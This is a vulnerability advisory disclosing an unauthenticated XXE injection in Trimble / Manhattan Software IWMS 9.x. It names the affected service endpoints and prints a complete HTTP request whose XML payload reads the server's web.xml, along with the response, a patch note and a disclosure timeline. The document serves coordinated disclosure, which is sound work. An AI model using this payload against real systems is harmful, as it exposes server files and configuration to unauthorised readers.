Trimble / Manhattan Software IWMS 9.x XXE Injection

`https://www.osisecurity.com.au/manhattan-software-iwms-integrated-workplace-management-system-xml-external-entity-xxe-injection-file-disclosure.html  
  
Date:  
04-Apr-2017  
  
Product:  
Trimble / Manhattan Software IWMS (integrated workplace management system)  
  
Versions affected:  
9.x  
  
Vulnerability:  
XML External Entity injection (XXE)  
  
Example:  
  
There is an XXE in services such as:  
  
https://[target]/services/WSFUNCTION  
https://[target]/services/WSGRID  
https://[target]/services/WSLOOKUP  
https://[target]/services/WSVALIDATE  
  
The services ignore the presence of authentication cookies as well.  
  
Example:  
  
POST /services/WSFUNCTION HTTP/1.1  
Host: [target]  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Content-Type: text/xml; charset=UTF-8  
Referer: [target]/wrd/run/SPDEMLOGIN  
Content-Length: 1119  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
  
<?xml version="1.0" encoding="ISO-8859-1"?>  
<!DOCTYPE foo [  
<!ELEMENT foo ANY >  
<!ENTITY xxe SYSTEM  
"file:///C:/Manhattan/Tomcat/webapps/ROOT/WEB-INF/web.xml"  
>]><foo>&xxe;</foo>  
  
Server response:  
  
HTTP/1.1 500 Internal Server Error  
Date: Mon, 13 Oct 2014 00:44:15 GMT  
Server: Apache  
Cache-Control: no-cache  
Expires: Thu, 01 Jan 1970 00:00:00 GMT  
Content-Length: 409  
Connection: close  
Content-Type: text/xml;charset=UTF-8  
  
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
<soapenv:Body>  
<soapenv:Fault>  
<faultcode>soapenv:Client</faultcode>  
<faultstring>{Parser Fatal Error on Line 0, Position 0 }An exception  
occurred! Type:NetAccessorException, Message:Could not open file:  
http://java.sun.com/xml/ns/javaee/web-app_3_0.xs</faultstring>  
</soapenv:Fault>  
</soapenv:Body>  
</soapenv:Envelope>  
  
(You can see it has read the comments within the web.xml file)  
  
Now patched with an input filter:  
  
java.lang.NullPointerException  
com.manhattansoftware.web.InjectionAttackFilter.log(InjectionAttackFilter.java:123)  
com.manhattansoftware.web.InjectionAttackFilter.doFilter(InjectionAttackFilter.java:61)  
com.manhattansoftware.web.XFrameFilter.doFilter(XFrameFilter.java:38)  
  
Credit:  
Discovered by Patrick Webster  
  
Disclosure timeline:  
11-Oct-2014 - Discovered during audit.  
14-Oct-2014 - Reported to vendor.  
18-Feb-2015 - Vendor released patch.  
04-Apr-2017 - Public disclosure.  
  
About OSI Security:  
  
OSI Security is an independent network and computer security auditing  
and consulting company based in Sydney, Australia. We provide internal  
and external penetration testing, vulnerability auditing and wireless  
site audits, vendor product assessments, secure network design,  
forensics and risk mitigation services.  
  
We can be found at http://www.osisecurity.com.au/  
`